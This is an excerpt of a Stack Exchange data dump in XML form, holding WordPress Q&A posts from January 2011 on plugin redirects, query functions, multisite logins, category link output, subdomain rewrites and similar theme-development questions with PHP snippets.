  <row Id="8009" PostTypeId="2" ParentId="7993" CreationDate="2011-01-28T20:40:18.550" Score="0" ViewCount="" Body="&lt;p&gt;I experienced an issue similar to this several months ago.  I was using a plugin to kill query strings from the URL for SEO purposes.  Long story short the plugin was killing search pages and admin pages as well. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;As Chris_O mentioned the redirection plugin I encountered a similar redirection issue when track modify posts is enabled.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The plugin is smart enough to realize when you edit a post or page and will set up a redirect if the post or page's permalink has changed.  However, when creating a new page this feature will create a redirect back to the root because the page has never existed before.  More found here (http://www.blakeimeson.com/wordpress-redirection-plugin-home-page-redirect-problem-bug/ and &lt;a href=&quot;http://tulsawebresults.com/solution-wordpress-redirection-plugin-error&quot; rel=&quot;nofollow&quot;&gt;http://tulsawebresults.com/solution-wordpress-redirection-plugin-error&lt;/a&gt; ).&lt;/p&gt;&#xA;" OwnerUserId="2362" LastActivityDate="2011-01-28T20:40:18.550" CommentCount="2" />
  <row Id="8010" PostTypeId="2" ParentId="8008" CreationDate="2011-01-28T20:49:17.213" Score="3" ViewCount="" Body="&lt;p&gt;You'll want to use &lt;strong&gt;empty&lt;/strong&gt;, isset failed because you just set the variable. An empty value is still a value.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ( empty($cls) &amp;amp;&amp;amp; empty($ch) ){&#xA;    // Not set&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2596" LastEditorUserId="290" LastEditorDisplayName="" LastEditDate="2011-01-28T22:21:29.890" LastActivityDate="2011-01-28T22:21:29.890" CommentCount="2" />
  <row Id="8011" PostTypeId="1" CreationDate="2011-01-28T21:39:38.937" Score="2" ViewCount="170" Body="&lt;p&gt;I liked theme of codinghorror.com . It's Typepad theme but i need wordpress theme of this. Where i can find it ? Best regards, Dreamer&lt;/p&gt;&#xA;" LastActivityDate="2011-01-29T16:54:05.437" Title="Theme of codinghorror.com" Tags="&lt;themes&gt;" AnswerCount="3" CommentCount="4" />
  <row Id="8012" PostTypeId="1" CreationDate="2011-01-28T21:56:22.220" Score="0" ViewCount="367" Body="&lt;p&gt;I have this site, &lt;a href=&quot;http://daisiesattic.co.uk/&quot; rel=&quot;nofollow&quot;&gt;http://daisiesattic.co.uk/&lt;/a&gt; and I have installed the wp ecommerce plugin, all was working until i recently removed the homepage and made the products page the homepage by adding &lt;code&gt;[productspage]&lt;/code&gt; under the content of the homepage. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am nearly certain I've done no other edits, any idea why this pagination isn't working? I made this site a while ago so I might have forgotten how to add the products page correctly, thats the only thing I can think of.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help would be amazing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;all the best&#xA;Tara&lt;/p&gt;&#xA;" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-01-31T09:32:16.933" LastActivityDate="2011-01-31T09:32:16.933" Title="wp ecommerce products page as home page, pagination not working" Tags="&lt;e-commerce&gt;&lt;plugin-wp-e-commerce&gt;" CommentCount="2" />
  <row Id="8013" PostTypeId="1" CreationDate="2011-01-28T22:14:18.900" Score="0" ViewCount="48" Body="&lt;p&gt;I have installed buddypress on my wordpress site and the normal tabs, activity, groups etc have appeared in the navigation bar but I would like to add another tab which is called events, I would like it to have exactly the same functionality and look as the groups tab but called events, is this possible. I am not a coder so as simple as possible would be great. love your site!&lt;/p&gt;&#xA;" LastEditorUserId="847" LastEditorDisplayName="" LastEditDate="2011-01-29T13:24:44.917" LastActivityDate="2011-01-29T13:24:44.917" Title="How do I add a tab which has the same functionality as groups but call it events" Tags="&lt;buddypress&gt;&lt;navigation&gt;&lt;events&gt;" />
  <row Id="8014" PostTypeId="2" ParentId="8006" CreationDate="2011-01-28T22:19:32.467" Score="0" ViewCount="" Body="&lt;p&gt;The &lt;code&gt;after_setup_theme&lt;/code&gt; hook is called very early on (right after finding and including the functions.php file), and you should be able to use &lt;code&gt;get_option&lt;/code&gt; on that hook. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;init&lt;/code&gt;, however, is called before &lt;code&gt;register_sidebars&lt;/code&gt;, so I'm not sure why you're not able to register the sidebars at that point. What are you using to check the options table? Is it a simple &lt;code&gt;get_option&lt;/code&gt; function or are you depending on the autoloaded options?&lt;/p&gt;&#xA;" OwnerUserId="290" LastActivityDate="2011-01-28T22:19:32.467" CommentCount="1" />
  <row Id="8015" PostTypeId="2" ParentId="7991" CreationDate="2011-01-28T22:59:09.890" Score="0" ViewCount="" Body="&lt;p&gt;I think this will do what you want. But I still wonder whether sticky posts wouldn't have been better...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (is_home() &amp;amp;&amp;amp; $paged == '0') {  //$paged value is 0 on 1st page and not 1 !          &#xA;        query_posts('posts_per_page=7&amp;amp;paged='.$paged.'&amp;amp;meta_key=_pull_leading3&amp;amp;meta_value=off');                         &#xA;      }&#xA;      else {&#xA;        // recreate the home page &quot;loop&quot; to figure out which posts to exclude&#xA;        $excluded = array_map(&#xA;            create_function('$post', 'return $post-&amp;gt;ID;' ),&#xA;            get_posts('numberposts=7&amp;amp;meta_key=_pull_leading3&amp;amp;meta_value=off')&#xA;            );&#xA;        query_posts( array(&#xA;            'posts_per_page' =&amp;gt; 7,&#xA;            'paged' =&amp;gt; $paged-1, // since we already excluded the first page&#xA;            'post__not_in' =&amp;gt; $excluded) );          &#xA;      } &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="290" LastEditorUserId="290" LastEditorDisplayName="" LastEditDate="2011-01-28T23:04:42.723" LastActivityDate="2011-01-28T23:04:42.723" CommentCount="6" />
  <row Id="8016" PostTypeId="1" AcceptedAnswerId="8023" CreationDate="2011-01-28T23:24:29.307" Score="3" ViewCount="244" Body="&lt;p&gt;I am trying to hook 'wpmu_new_blog' in a plugin so I can copy the widget settings from one blog to the new blog that is being created.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know if there are WordPress functions to accomplish this, or should I just use straight SQL?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&#xA;Dave&lt;/p&gt;&#xA;" OwnerUserId="1427" LastActivityDate="2011-01-30T06:21:54.263" Title="Copy widget settings from one blog to another" Tags="&lt;widgets&gt;&lt;plugins&gt;" AnswerCount="2" FavoriteCount="4" />
  <row Id="8017" PostTypeId="1" CreationDate="2011-01-28T23:56:31.130" Score="0" ViewCount="213" Body="&lt;p&gt;I just installed a fresh copy of 3.0.4, went through the steps to create a multisite and everything looked good. Then, I attempted to sign in to one of the newly created Sites and the login page simply repeats itself. No errors, not even in the log. The main install works fine, this seems to be isolated just to new sites.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried logging in using the Super Admin user and the Site Admin user, both do the same thing. Anyone seen this before?&lt;/p&gt;&#xA;" OwnerUserId="1113" LastActivityDate="2011-02-28T00:38:25.933" Title="Fresh Multisite Install - Can't Log In" Tags="&lt;multisite&gt;&lt;login&gt;" AnswerCount="1" />
  <row Id="8018" PostTypeId="2" ParentId="8017" CreationDate="2011-01-29T00:16:27.943" Score="1" ViewCount="" Body="&lt;p&gt;I am guessing that you are using subdomains instead of sub folders for your multisite set up? This is an issue that appears to happen when using subdomains and setting up your multisite manually.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I recall this issue happening with Wordpress MU a bit ago and it was related to cookies or something and you simply had to add some cookie settings to your config file. Because multisites are Wordpress MU basically, I wonder if that's the issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try &lt;a href=&quot;http://mu.wordpress.org/forums/topic/11580#post-69598&quot; rel=&quot;nofollow&quot;&gt;this comment&lt;/a&gt; posted on the Wordpress support forums. &lt;a href=&quot;http://wordpress.stackexchange.com/questions/6192/infinite-loop-problem-with-the-wordpress-mu-domain-mapping-plug-in&quot;&gt;This question&lt;/a&gt; on Wordpress answers looks similar, does this help as well?&lt;/p&gt;&#xA;" OwnerUserId="1687" LastActivityDate="2011-01-29T00:16:27.943" CommentCount="3" />
  <row Id="8019" PostTypeId="2" ParentId="8011" CreationDate="2011-01-29T01:10:27.000" Score="2" ViewCount="" Body="&lt;p&gt;The codinghorror.com theme is probably a custom one. You should search the &lt;a href=&quot;http://wordpress.org/extend/themes/&quot; rel=&quot;nofollow&quot;&gt;WordPress themes directory&lt;/a&gt; which has some search filters for a similar one. Once you find a relatively similar one, you can modify it to look similar to Mr. Atwood's blog.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's pretty minimalist, so you shouldn't have much trouble implementing a similar theme yourself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Take in consideration you can't use the logo image, Coding Horror is using it with permission from the original author. Check the bottom of the Coding Horror page for more info.&lt;/p&gt;&#xA;" OwnerUserId="298" LastActivityDate="2011-01-29T01:10:27.000" />
  <row Id="8020" PostTypeId="1" AcceptedAnswerId="8036" CreationDate="2011-01-29T01:24:08.437" Score="0" ViewCount="270" Body="&lt;p&gt;What would cause this error:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Fatal error: Class 'ZipArchive' not found in /home/test/dummyurl.com/wp-content/themes/mytheme/upload-zip.php on line 14&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PHP Version is 5.3.1&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does WP have a built in function I should use instead? Like perhaps the &quot;unzip_file&quot; function line 525 of ./wp-admin/includes/file.php&quot;?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function openZip($file_to_open) { &#xA;    global $target;  &#xA;    $zip = new ZipArchive();  //This is line 14&#xA;    $x = $zip-&amp;gt;open($file_to_open);  &#xA;    if($x === true) {  &#xA;        $zip-&amp;gt;extractTo($target);  &#xA;        $zip-&amp;gt;close();                &#xA;        unlink($file_to_open);  &#xA;    } else {  &#xA;        die(&quot;There was a problem. Please try again!&quot;);  &#xA;    }  &#xA;}  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="366" LastEditorUserId="366" LastEditorDisplayName="" LastEditDate="2011-01-29T01:45:15.667" LastActivityDate="2011-01-29T09:44:07.750" Title="Fatal error: Class 'ZipArchive' not found" Tags="&lt;theme-development&gt;" AnswerCount="1" />
  <row Id="8021" PostTypeId="1" AcceptedAnswerId="8022" CreationDate="2011-01-29T02:06:36.987" Score="0" ViewCount="304" Body="&lt;p&gt;i'm using wp_list_categories like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;            //list terms in a given taxonomy using wp_list_categories (also useful as a widget if using a PHP Code plugin)&#xA;&#xA;            $taxonomy     = 'news_cat';&#xA;            $orderby      = 'name'; &#xA;            $show_count   = 0;      // 1 for yes, 0 for no&#xA;            $pad_counts   = 0;      // 1 for yes, 0 for no&#xA;            $hierarchical = 1;      // 1 for yes, 0 for no&#xA;            $title        = '';&#xA;&#xA;            $args = array(&#xA;              'taxonomy'     =&amp;gt; $taxonomy,&#xA;              'orderby'      =&amp;gt; $orderby,&#xA;              'show_count'   =&amp;gt; $show_count,&#xA;              'pad_counts'   =&amp;gt; $pad_counts,&#xA;              'hierarchical' =&amp;gt; $hierarchical,&#xA;              'title_li'     =&amp;gt; $title&#xA;            );&#xA;            ?&amp;gt;&#xA;&#xA;            &amp;lt;ul class=&quot;categories fl&quot;&amp;gt;&#xA;            &amp;lt;?php wp_list_categories( $args ); ?&amp;gt;&#xA;            &amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;which works great. it outputs as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;   &amp;lt;ul class=&quot;categories fl&quot;&amp;gt;&#xA;  &amp;lt;li class=&quot;cat-item cat-item-5&quot;&amp;gt;&#xA;    &amp;lt;a href=&quot;http://hhh.wp/news_cat/cat-1&quot; title=&quot;View all posts filed under cat 1&quot;&amp;gt;cat 1&amp;lt;/a&amp;gt;&#xA;  &amp;lt;/li&amp;gt;&#xA;  &amp;lt;li class=&quot;cat-item cat-item-6&quot;&amp;gt;&#xA;    &amp;lt;a href=&quot;http://hhh.wp/news_cat/cat-2&quot; title=&quot;View all posts filed under cat 2&quot;&amp;gt;cat 2&amp;lt;/a&amp;gt;&#xA;  &amp;lt;/li&amp;gt;&#xA;  &amp;lt;li class=&quot;cat-item cat-item-7&quot;&amp;gt;&#xA;    &amp;lt;a href=&quot;http://hhh.wp/news_cat/cat-3&quot; title=&quot;View all posts filed under cat 3&quot;&amp;gt;cat 3&amp;lt;/a&amp;gt;&#xA;  &amp;lt;/li&amp;gt;&#xA;  &amp;lt;li class=&quot;cat-item cat-item-8&quot;&amp;gt;&#xA;    &amp;lt;a href=&quot;http://hhh.wp/news_cat/cat-4&quot; title=&quot;View all posts filed under cat 4&quot;&amp;gt;cat 4&amp;lt;/a&amp;gt;&#xA;  &amp;lt;/li&amp;gt;&#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;problem is i don't want an absolute path, just a relative one...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i need the href to read as &lt;code&gt;/news_cat/cat-1&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="2796" LastActivityDate="2011-01-29T04:25:44.063" Title="wordpress wp_list_categories" Tags="&lt;categories&gt;&lt;permalinks&gt;&lt;list&gt;" AnswerCount="1" />
  <row Id="8022" PostTypeId="2" ParentId="8021" CreationDate="2011-01-29T02:13:15.197" Score="0" ViewCount="" Body="&lt;p&gt;Hi &lt;strong&gt;@matt ryan:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Simplest way to do what you want is to use &lt;a href=&quot;http://php.net/manual/en/book.outcontrol.php&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;PHP output buffering&lt;/strong&gt;&lt;/a&gt;. I haven't tested it yet but this should work:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ob_start();&#xA;wp_list_categories( $args );&#xA;$html = ob_get_clean();&#xA;echo str_replace(get_bloginfo('wpurl'),'',$html);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h2&gt;UPDATE&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;You could also using the &lt;code&gt;'wp_list_categories'&lt;/code&gt; hook like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('wp_list_categories','mysite_wp_list_categories');&#xA;function mysite_wp_list_categories( $output ) {&#xA;  return str_replace( get_bloginfo('wpurl'),'', $output );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&#xA;&#xA;&#xA;" OwnerUserId="89" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2011-01-29T04:25:44.063" LastActivityDate="2011-01-29T04:25:44.063" CommentCount="2" />
  <row Id="8023" PostTypeId="2" ParentId="8016" CreationDate="2011-01-29T03:07:47.580" Score="2" ViewCount="" Body="&lt;p&gt;I don't think there is anything specifically for this. You might want to look at the plugin code to find calls to &lt;code&gt;get_option()&lt;/code&gt; and see what keys they are using, then browse the DB table &lt;code&gt;wp_options&lt;/code&gt; with phpMyAdmin (or whatever) and grab the associated values.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Without specific support from the plugin this can be iffy since there may be other context-dependent info in there that you don't want on the new site.&lt;/p&gt;&#xA;" OwnerUserId="1958" LastActivityDate="2011-01-29T03:07:47.580" CommentCount="1" />
  <row Id="8024" PostTypeId="2" ParentId="8011" CreationDate="2011-01-29T03:14:34.827" Score="0" ViewCount="" Body="&lt;p&gt;Note: Rather than just ripping the design (as described below), you might consider &lt;em&gt;asking&lt;/em&gt;  Jeff if he is OK with this. He might say yes, in which case you can feel good about yourself (as opposed to feeling all slimy and dirty :-).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's also possible to grab the source of one of the rendered pages and use that as a starting point for converting a static design to a WP theme. There is a &lt;em&gt;very&lt;/em&gt; good tutorial on going static =&gt; theme by Chris Conyiers. It's at Lynda.com and so costs $, about $25 for 1 month. I found it extremely interesting. (I have no connection with either Chris or Lynda).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Update for comment about the availability of &quot;free tutorials&quot;:&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have been a professional programmer for more than 3 decades, and my time is worth money. I have just recently moved into the WP universe so that I can offer a lower cost option to my smaller customers. For the last 4 years I have worked almost exclusively in Django, one of the most amazingly well-documented OSS projects on the planet. As I have tried to come up to speed on current best practices in the world of WordPress, I have been appalled at the haphazard, incomplete, inconsistent, woefully out of date, and just plain &lt;em&gt;bad&lt;/em&gt; documentation. At times it feels like I am wading through a swamp.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Almost all of the tutorials I have seen on the subject of converting static HTML to a working WP theme have failed to deliver the &quot;whole product.&quot; Chris's 4 hours of video instruction delivers a near-complete, detailed description of how to go from concept to Photoshop to static HTML/CSS to skeleton theme to fully instrumented theme, all of it accompanied by an excellent running commentary about &lt;em&gt;why&lt;/em&gt; he took certain paths and not others. It's not perfect, but it is head an shoulders above whatever is in second place.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am a programmer, not a designer, and I gained several valuable insights into the end-to-end process. I have a designer I work with and she is most definitely &lt;em&gt;not&lt;/em&gt; a programmer. She watched the same 4 hour tutorial and &lt;em&gt;also&lt;/em&gt; gained several valuable insights. We both bill at $100/hour and this was worth &lt;em&gt;way&lt;/em&gt; more than 15 minutes of our time. BTW, another source of consistently excellent info on WP (theme development and a whole lot more) is &lt;a href=&quot;http://justintadlock.com/&quot; rel=&quot;nofollow&quot;&gt;Justin Tadlock's blog&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1958" LastEditorUserId="1958" LastEditorDisplayName="" LastEditDate="2011-01-29T16:19:27.153" LastActivityDate="2011-01-29T16:19:27.153" CommentCount="3" />
  <row Id="8025" PostTypeId="1" CreationDate="2011-01-29T04:22:58.760" Score="0" ViewCount="372" Body="&lt;p&gt;I have a website that is a combination of my own articles and other relevant news articles e.g www[dot]somesite[dot]com.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Because there are so many other articles on the site now I am trying to split the site up into multiple sections and I have created DNS records for two subdomains blog. and search. which are currently pointing at the main site www[dot]somesite[dot]com.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have just created a page that points to a custom template that only shows my own articles as all my articles are in a certain category so instead of accessing the usual category page www[dot]mysite[dot]com/category/my-articles I can now go to www[dot]mysite[dot]com/my-articles however what I want to do is also point my sub domain at this new custom page as well with some kind of rewrite rule so that if a visitor typed in or clicked a link to blog.mysite[dot]com they would actually end up at www[dot]mysite[dot]com/my-articles.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the user does enter www[dot]mysite[dot]com/my-articles then they should still end up at that page and see that URL in the address bar but if someone entered blog.mysite[dot]com then they would see that in the address bar but see the content from www[dot]mysite[dot]com/my-articles (including paging if possible).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried a few redirect plugins but they don't really accomplish what I need to do.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can someone point me in the write direction?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it a case of me being able to write some ISAPI rewrite rules in the htacess file for the virtual host setup for www[dot]mysite[dot]com/&lt;/p&gt;&#xA;&#xA;&lt;p&gt;OR do I need to create a new virtual host for blog.mysite[dot]com/ and then add the rules in that file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;OR is there a wordpress plugin that will do this that anyone knows of?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help would be much appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" LastActivityDate="2011-08-28T19:36:12.273" Title="Rewrite sub domain URL to specific category page" Tags="&lt;url-rewriting&gt;&lt;urls&gt;&lt;mod-rewrite&gt;&lt;rewrite-rules&gt;" AnswerCount="2" FavoriteCount="1" />
  <row Id="8026" PostTypeId="2" ParentId="8025" CreationDate="2011-01-29T04:56:15.633" Score="0" ViewCount="" Body="&lt;p&gt;It sounds like you do not need to actually have a rewrite rule. From what I know, the following should work, but I have not tested it on WordPress.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have cPanel on your hosting, then you can just declare the Document Root to &lt;code&gt;my-articles&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/l6Lgh.png&quot; alt=&quot;cPanel Subdomain&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1878" LastActivityDate="2011-01-29T04:56:15.633" />
  <row Id="8027" PostTypeId="1" AcceptedAnswerId="8059" CreationDate="2011-01-29T05:53:12.890" Score="0" ViewCount="68" Body="&lt;p&gt;I don't know whats wrong going on with my website, this is the second redirection problem going on,&#xA;Whenever I add a new post, After adding title, When I try to add the content, My own websites home-page appears next to the content box, in a red bordered box, and a page tries to load, this page keeps on loading, nothing comes, the url of loading page is &quot;http://mywebsite.com/wp-admin/post-new.php&quot;&#xA;&lt;img src=&quot;http://i.stack.imgur.com/KP9hf.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1743" LastActivityDate="2011-01-29T15:40:26.560" Title="Add new post redirection" Tags="&lt;redirect&gt;&lt;homepage&gt;" AnswerCount="1" CommentCount="5" />
  <row Id="8028" PostTypeId="1" AcceptedAnswerId="8029" CreationDate="2011-01-29T06:06:27.103" Score="3" ViewCount="424" Body="&lt;p&gt;Right now, I'm using &lt;code&gt;get_posts&lt;/code&gt; to retrieve cusstom posts types with a custom taxonomy assigned to it in order to generate static content like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;/**&#xA; * Template Name: Front Page&#xA; * @package WordPress&#xA; * @subpackage Prominent&#xA; * @since Prominent 1.0&#xA; */&#xA;get_header(); ?&amp;gt;&#xA;&amp;lt;div class=&quot;shadow-top&quot;&amp;gt;&#xA;    &amp;lt;!-- Shadow at the top of the slider --&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;div id=&quot;intro&quot;&amp;gt;&#xA;    &amp;lt;div class=&quot;container&quot;&amp;gt;&#xA;        &amp;lt;div id=&quot;slider-wrapper&quot;&amp;gt;&#xA;            &amp;lt;div id=&quot;slider&quot;&amp;gt;&#xA;            &amp;lt;?php // Create custom loop ?&amp;gt;&#xA;            &amp;lt;?php $custom_posts = get_posts('post_type=page_content&amp;amp;page_sections=Slider (Front Page)'); ?&amp;gt;&#xA;            &amp;lt;?php foreach( $custom_posts as $post ) : setup_postdata( $post ); ?&amp;gt;&#xA;                &amp;lt;p&amp;gt;&amp;lt;?php the_content(); ?&amp;gt;&amp;lt;/p&amp;gt;&#xA;            &amp;lt;?php endforeach; ?&amp;gt;&#xA;            &amp;lt;?php wp_reset_query(); ?&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;            &amp;lt;div class=&quot;shadow-slider&quot;&amp;gt;&#xA;                &amp;lt;!-- Shadow at the bottom of the slider --&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&amp;lt;!-- #slider-wrapper --&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&amp;lt;!-- .container --&amp;gt;&#xA;&amp;lt;/div&amp;gt;&amp;lt;!-- #featured --&amp;gt;&#xA;&amp;lt;div class=&quot;shadow-bottom&quot;&amp;gt;&#xA;    &amp;lt;!-- Shadow at the bottom of the slider --&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;div id=&quot;tagline&quot;&amp;gt;&#xA;    &amp;lt;div class=&quot;container&quot;&amp;gt;&#xA;        &amp;lt;?php&#xA;        $page_id = $post-&amp;gt;ID; // 123 should be replaced with a specific Page's id from your site, which you can find by mousing over the link to edit that Page on the Manage Pages admin page. The id will be embedded in the query string of the URL, e.g. page.php?action=edit&amp;amp;post=123.&#xA;        $page_data = get_page( $page_id ); // You must pass in a variable to the get_page function. If you pass in a value (e.g. get_page ( 123 ); ), Wordpress will generate an error.&#xA;&#xA;        $content = apply_filters('the_content', $page_data-&amp;gt;post_content); // Get Content and retain Wordpress filters such as paragraph tags. Origin from: http://wordpress.org/support/topic/get_pagepost-and-no-paragraphs-problem&#xA;        $title = $page_data-&amp;gt;post_title; // Get title&#xA;        ?&amp;gt;&#xA;        &amp;lt;div class=&quot;content0&quot;&amp;gt;&#xA;            &amp;lt;h2&amp;gt;&amp;lt;?php echo $content; // Output Content ?&amp;gt;&amp;lt;/h2&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&amp;lt;!-- .container --&amp;gt;&#xA;&amp;lt;/div&amp;gt;&amp;lt;!-- #content-bottom --&amp;gt;&#xA;&amp;lt;div id=&quot;content&quot;&amp;gt;&#xA;    &amp;lt;div class=&quot;container&quot;&amp;gt;&#xA;        &amp;lt;div class=&quot;mainbar&quot;&amp;gt;&#xA;            &amp;lt;?php // Create custom loop&#xA;            $custom_posts = get_posts('post_type=page_content&amp;amp;page_sections=Content (Front Page)'); ?&amp;gt;&#xA;            &amp;lt;?php foreach( $custom_posts as $post ) : setup_postdata( $post ); ?&amp;gt;&#xA;                &amp;lt;div class=&quot;content-block&quot;&amp;gt;&#xA;                    &amp;lt;h2&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/h2&amp;gt;&#xA;                    &amp;lt;p&amp;gt;&amp;lt;?php the_content(); ?&amp;gt;&amp;lt;/p&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&amp;lt;!-- .content-block --&amp;gt;&#xA;            &amp;lt;?php endforeach; ?&amp;gt;&#xA;            &amp;lt;?php wp_reset_query(); ?&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&amp;lt;!-- #mainbar --&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&amp;lt;!-- .container --&amp;gt;&#xA;&amp;lt;/div&amp;gt;&amp;lt;!-- #content-bottom --&amp;gt;&#xA;&amp;lt;?php get_footer(); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What is better practice in this case?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To use query_posts, WP_Query, or get_posts?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/HVCoj.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="781" LastActivityDate="2011-01-29T06:31:06.947" Title="Is it better practice to use query_posts, WP_Query, or get_posts to create various custom loops within a Page?" Tags="&lt;query-posts&gt;&lt;wp-query&gt;&lt;get-posts&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="3" />
  <row Id="8029" PostTypeId="2" ParentId="8028" CreationDate="2011-01-29T06:25:59.340" Score="4" ViewCount="" Body="&lt;p&gt;Hi &lt;strong&gt;@janoChen:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have a choice, &lt;strong&gt;go with &lt;code&gt;WP_Query&lt;/code&gt;.&lt;/strong&gt;  Both of the other functions (&lt;code&gt;query_posts()&lt;/code&gt; and &lt;code&gt;get_posts()&lt;/code&gt;) call &lt;code&gt;WP_Query&lt;/code&gt; indirectly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The former is designed to allow you to modify the main query after the standard query has already been run, for example when you want a second loop. But &lt;code&gt;query_posts()&lt;/code&gt; affects global variables and can have side-effects. If possible use WP_Query instead and your code will be more robust.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for &lt;code&gt;get_posts()&lt;/code&gt;, it's just a wrapper around &lt;code&gt;WP_Query&lt;/code&gt; with some potentially unexpected defaults so you might as well call &lt;code&gt;WP_Query&lt;/code&gt; directly and avoid those issues.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;" OwnerUserId="89" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2011-01-29T06:31:06.947" LastActivityDate="2011-01-29T06:31:06.947" CommentCount="2" />
  <row Id="8030" PostTypeId="2" ParentId="8008" CreationDate="2011-01-29T06:52:40.837" Score="1" ViewCount="" Body="&lt;p&gt;Hi &lt;strong&gt;@imHavoc:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I might write that code like this &lt;em&gt;(although there are several valid ways to write it):&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$cls = get_query_var('cls');&#xA;$ch =  get_query_var('ch');&#xA;&#xA;if (strlen(&quot;{$cls}{$ch}&quot;)==0) {&#xA;  mcs_textbook($dialect);&#xA;} if (strlen($ch)==0) {&#xA;  mcs_textbook_chapter($dialect, $cls);&#xA;} else {&#xA;  mcs_textbook_chapter($dialect, $cls, $ch);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&#xA;&#xA;&#xA;" OwnerUserId="89" LastActivityDate="2011-01-29T06:52:40.837" CommentCount="7" />
